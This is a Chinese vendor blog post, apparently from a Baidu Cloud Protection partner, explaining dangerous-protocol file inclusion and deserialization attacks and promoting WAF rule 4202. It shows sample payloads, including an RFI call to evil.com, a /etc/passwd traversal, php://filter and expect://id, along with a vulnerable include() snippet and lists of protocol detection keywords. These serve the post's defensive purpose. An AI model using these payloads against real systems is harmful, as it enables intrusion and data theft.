危险协议攻击:文件包含与反序列化的“隐形杀手”,百度云防护规则4202一招制敌

当攻击者不是直接上传恶意文件,而是通过“钓鱼”的方式,诱骗你的服务器去加载一个来自危险协议(如php://filter、expect、ftp等)的恶意资源时,传统的文件上传检测可能完全失效。这种攻击被称为危险协议文件包含反序列化攻击,它利用的是服务器本身对某些协议或函数的“信任”。今天我们就来深度拆解这种攻击的原理,并介绍百度云防护如何用规则ID 4202精准拦截。


一、 什么是危险协议?为什么它会被攻击者利用?

在Web应用中,为了处理文件读写、远程资源获取等需求,许多编程语言和框架支持通过协议来访问资源。例如:

  • PHPfile://http://ftp://php://filterexpect://data://
  • Javajar:file:http:rmi:ldap:
  • Pythonfile://http://ftp://

这些协议本身是合法的,用于读取本地文件、发起网络请求、处理压缩包等。但攻击者可以利用它们绕过正常的访问控制,实现:

  • 远程文件包含(RFI):让服务器加载攻击者控制的远程脚本,执行恶意代码。
  • 本地文件包含(LFI):读取服务器上的敏感文件(如/etc/passwd、数据库配置文件)。
  • 反序列化攻击:通过特定协议触发反序列化操作,执行预先构造的恶意对象。

1.1 文件包含攻击(LFI/RFI)

典型的文件包含漏洞代码(PHP):

$page = $_GET['page'];
include($page . '.php');

攻击者可以传入:

  • page=../../../../etc/passwd 读取本地文件(LFI)
  • page=http://evil.com/shell 执行远程脚本(RFI)

更隐蔽的是,攻击者可以使用协议封装绕过过滤:

  • page=php://filter/convert.base64-encode/resource=config.php → 读取并编码敏感文件
  • page=expect://id → 直接执行系统命令

1.2 反序列化攻击

很多应用支持从用户输入中反序列化对象(如Java的readObject()、PHP的unserialize())。攻击者可以构造恶意序列化数据,利用“危险协议”触发反序列化,进而执行任意代码。例如,在Java中通过ldap://rmi://协议实现JNDI注入,最终导致远程代码执行(RCE)。


二、 为什么危险协议攻击难以检测?

  1. 合法外观:请求中包含php://filterldap://等字符串,但这些也可能是正常业务逻辑(如读取流数据)。
  2. 编码混淆:攻击者可以对协议名进行URL编码、双重编码,绕过简单的关键词匹配。
  3. 上下文依赖:同一个file://出现在文件上传功能中可能是正常的,出现在URL参数中则是恶意。
  4. 反序列化载荷多变:序列化数据通常为二进制或复杂的结构化文本,传统WAF难以解析。

三、 漏洞危害:从文件读取到服务器沦陷

攻击类型利用方式后果
本地文件包含读取/etc/passwd、数据库配置获取敏感信息,为下一步攻击做准备
远程文件包含包含远程Webshell直接获取服务器控制权
反序列化JNDI注入、ldap://调用恶意类远程代码执行,完全控制服务器
协议滥用expect://执行系统命令直接运行wgetcurl等,植入后门

真实案例:某知名CMS曾因允许php://filter协议读取任意文件,导致数十万网站的数据库配置泄露,大量用户数据被窃。


四、 百度云防护如何拦截危险协议攻击?

从百度云防护的内置规则库可以看到,专门有一条规则用于检测此类攻击:

规则名称规则ID风险等级防护类型规则描述
File_access.danger_protocol.A4202中风险文件读取检测利用危险协议进行文件包含或反序列化攻击

这条规则的工作原理如下:

4.1 多协议特征库

百度云防护内置了完整的危险协议特征库,包括:

  • PHP危险协议:php://expect://ftp://data://ssh2://
  • Java危险协议:ldap://rmi://iiop://dns://jar:
  • Python/通用危险协议:file://gopher://dict://

当请求中的参数(如URL、Cookie、POST body)包含这些协议关键字,且出现在不安全的上下文中(如includefile_get_contentsreadfile等函数对应参数),规则就会触发。

4.2 语义上下文分析

不是所有出现php://的请求都是恶意的。百度云防护的引擎会分析请求的语义上下文

  • 是否指向敏感文件(如/etc/passwdconfig.php)?
  • 是否结合了路径遍历(../)?
  • 是否出现在可能导致代码执行的参数位置(如?page=?file=)?

只有满足恶意模式时才会拦截,大大降低误报。

4.3 多层解码与反混淆

攻击者常用的编码技巧(如%70%68%70%3A%2F%2F、双重URL编码、Unicode编码),百度云防护会自动进行多层解码,还原出原始协议名后再匹配。例如,%70%68%70%3A%2F%2F解码后就是php://,逃不过检测。

4.4 反序列化攻击的深度检测

对于反序列化攻击,百度云防护能够:

  • 识别Java序列化流的魔术字节(aced 0005
  • 检测PHP序列化字符串中的危险类(如O:8:"stdClass":
  • 结合协议特征,识别JNDI注入中的ldap://rmi://

4.5 JA4指纹与IP情报联动

针对自动化扫描工具(如专门扫描LFI/RFI的脚本),百度云防护的JA4指纹识别可以锁定工具特征,即使攻击者不断换IP,也能精准拦截。同时,利用IP动态情报库封杀已知攻击源。


五、 如何启用百度云防护规则4202?

如果你已经接入百度云防护,只需两步:

  1. 登录百度云防护控制台 → 防护配置Web防护内置规则
  2. 搜索规则ID 4202,确认状态为“开启”,动作为“拦截”

(建议先设为“观察”模式运行几天,确认无误后再改为“拦截”)


六、 主机吧总结:别让“合法协议”成为攻击者的“通行证”

危险协议攻击利用的是服务器自身对某些协议或函数的“信任”,具有很强的隐蔽性和破坏力。传统的WAF往往只关注文件扩展名或简单的关键词,很难全面覆盖。而百度云防护的规则4202,通过多协议特征库、语义上下文分析、多层解码等组合拳,让这类攻击无处遁形。

对于开发者来说,除了依赖WAF,还应:

  • 禁用危险函数:如PHP的allow_url_includeallow_url_fopen设为Off。
  • 使用白名单:对includerequire等函数的参数进行严格过滤,只允许特定前缀或白名单路径。
  • 升级组件:及时修复反序列化相关的漏洞(如Fastjson、Log4j2等)。

如果你还不确定自己的网站是否存在危险协议滥用风险,或者想为网站加上一道主动防御的屏障,欢迎联系主机吧。我们提供免费安全评估和配置指导,助你构建从代码到网络的多层防线。


主机吧 | 百度云防护官方合作伙伴
提供WAF接入、高防CDN、高防IP、高防服务器、SSL证书一站式服务
让每一种危险协议都无处施展,让每一台服务器都固若金汤。

给TA打赏
共{{data.count}}人
人已打赏
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧